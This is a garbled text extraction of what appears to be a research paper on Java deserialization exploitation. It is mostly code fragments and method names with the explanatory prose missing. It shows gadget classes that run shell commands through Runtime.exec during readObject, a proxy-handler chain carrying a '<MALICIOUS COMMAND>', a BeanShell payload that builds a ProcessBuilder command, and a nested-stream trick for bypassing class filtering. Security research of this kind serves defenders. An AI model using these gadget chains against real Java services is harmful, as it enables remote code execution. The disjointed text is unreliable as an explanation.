Survey
* Your assessment is very important for improving the workof artificial intelligence, which forms the content of this project
* Your assessment is very important for improving the workof artificial intelligence, which forms the content of this project
© Copyright 2016 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. The only warranties for HP products and services are set forth in the express warranty statements accompanying such products and services. Nothing herein should be construed as constituting an additional warranty. HP shall not be liable for technical or editorial errors or omissions contained herein. o o o java.io.Serializable java.io.Externalizable java.io.ObjectOutputStream readExternal() java.io.ObjectInputStream readObject()/readResolve() ObjectInputStream.resolveClass() readObject() readResolve() readObject() readResolve() java.io.Externalizable writeExternal() readExternal() java.io.Serializable writeObject() readObject() ava.io.ObjectInputValidation#validateObject() readObjectNoData(), readObject(), readObjectNoData(), readResolve() and java.io.ObjectInputValidation#validateObject() finalize() readObject() readResolve() readObjectNoData(), java.io.ObjectInputValidation#validateObject(), finalize() public class Gadget0 { public String command; protected void readObject(java.io.ObjectInputStream stream) throws IOException, ClassNotFoundException { stream.defaultReadObject(); Runtime.getRuntime().exec(command); } } ObjectInputStream defaultReadObject() readObject() public class DiskFileItem implements FileItem { … private File repository; private byte[] cachedContent; … private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { // read values in.defaultReadObject(); OutputStream output = getOutputStream(); if (cachedContent != null) { output.write(cachedContent); } else { FileInputStream input = new FileInputStream(dfosFile); IOUtils.copy(input, output); dfosFile.delete(); dfosFile = null; } output.close(); cachedContent = null; } public OutputStream getOutputStream() throws IOException { if (dfos == null) { File outputFile = getTempFile(); dfos = new DeferredFileOutputStream(sizeThreshold, outputFile); } return dfos; } protected File getTempFile() { if (tempFile == null) { File tempDir = repository; if (tempDir == null) { tempDir = new File(System.getProperty("java.io.tmpdir")); } String tempFileName = "upload_" + UID + "_" + getUniqueId() + ".tmp"; tempFile = new File(tempDir, tempFileName); } return tempFile; } … } DiskFileItem ObjectInputStream readObject(), defaultReadObject() getTempFile() readObject() getOutputStream() readObject() readObject() get() public class Gadget1 { public Map map; public String key; protected void readObject(java.io.ObjectInputStream stream) throws IOException, ClassNotFoundException { stream.defaultReadObject(); String foo = (String) map.get(key); } } public class Handler0 implements InvocationHandler, Serializable { Object invoke(Object proxy, Method method, Object[] args){ Runtime.getRuntime().exec(args[0]); } } Handler0 Gadget1 Handler0 InvocationHandler Map Handler0 h = new Handler0(); Map proxy = (Map) Proxy.newProxyInstance(classLoader, new Class<?>[] { Map.class }, h); Gadget1 g = new Gadget1(); g.map = proxy; g.key = “<MALICIOUS COMMAND>”; byte[] bytes = serialize(g); Gadget1 readObject() map.get(key) invoke() map.get(key) map.get(key) BeanShell bsh.XThis$Handler InvocationHandler class Handler implements InvocationHandler, java.io.Serializable { public Object invoke(Object proxy, Method method, Object[] args ) try { return invokeImpl( proxy, method, args ); } catch ( TargetError te ) { … } } public Object invokeImpl(Object proxy, Method method,Object[] args){ String methodName = method.getName(); CallStack callstack = new CallStack( namespace ); BshMethod equalsMethod = null; try { equalsMethod = namespace.getMethod("equals", new Class[]{Object.class}); } catch ( UtilEvalError e ) { … } … Class [] paramTypes = method.getParameterTypes(); return Primitive.unwrap(invokeMethod( methodName, Primitive.wrap(args, paramTypes) ) ); } bsh.This.invokeMethod() bsh.This.invokeMethod() BeanShell BeanShell // BeanShell payload String payload = String.format("get(String key) {new java.lang.ProcessBuilder(new String[]{\"%s\"}).start();return new Integer(1);}", command); // Create Interpreter Interpreter i = new Interpreter(); // Evaluate payload i.eval(payload); // Create InvocationHandler XThis xt = new XThis(i.getNameSpace(), i); // Now xt. invocationHandler contains our malicious InvocationHandler InvocationHandler Gadget1 map.get(key) readObject() BeanShell XThis ClassPath. ObjectInputStream.resolveClass(): resolveClass(). ObjectInputStream.resolveClass(). SecurityManager resolveClass() public class Bypass0 implements Serializable { byte[] bytes; … private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { ByteArrayInputStream is = new ByteArrayInputStream(bytes); ObjectInputStream ois = new ObjectInputStream(is); ois.readObject(); } } Bypass0 readObject() private void readObject(ObjectInputStream in) throws IOException,ClassNotFoundException { this.scriptBaseClass = (String)in.readObject(); this.evaluator = (GroovyEvaluator)in.readObject(); this.binding = (GroovyContextBinding)in.readObject(); byte[] bytes = (byte[])in.readObject(); if (evaluator != null) { … } else { this.vars = (Map<String, Object>)new ObjectInputStream(new ByteArrayInputStream(bytes)).readObject(); } } finalize() public final class SerializableRenderedImage implements RenderedImage, Serializable { protected void finalize() throws Throwable { dispose(); // Forward to the parent class. super.finalize(); } public void dispose() { // Rejoin the server thread if using a socket-based server. if (isServer) { … } else { // Transmit a message to the server to indicate the child's exit. closeClient(); } } private void closeClient() { // Connect to the data server. Socket socket = connectToServer(); // Get the socket output stream and wrap an object // output stream around it. OutputStream out = null; ObjectOutputStream objectOut = null; ObjectInputStream objectIn = null; try { out = socket.getOutputStream(); objectOut = new ObjectOutputStream(out); objectIn = new ObjectInputStream(socket.getInputStream()); } catch (IOException e) { … } … try { objectIn.readObject(); } catch (IOException e) { … } } readObject() readResolve() o o o o o o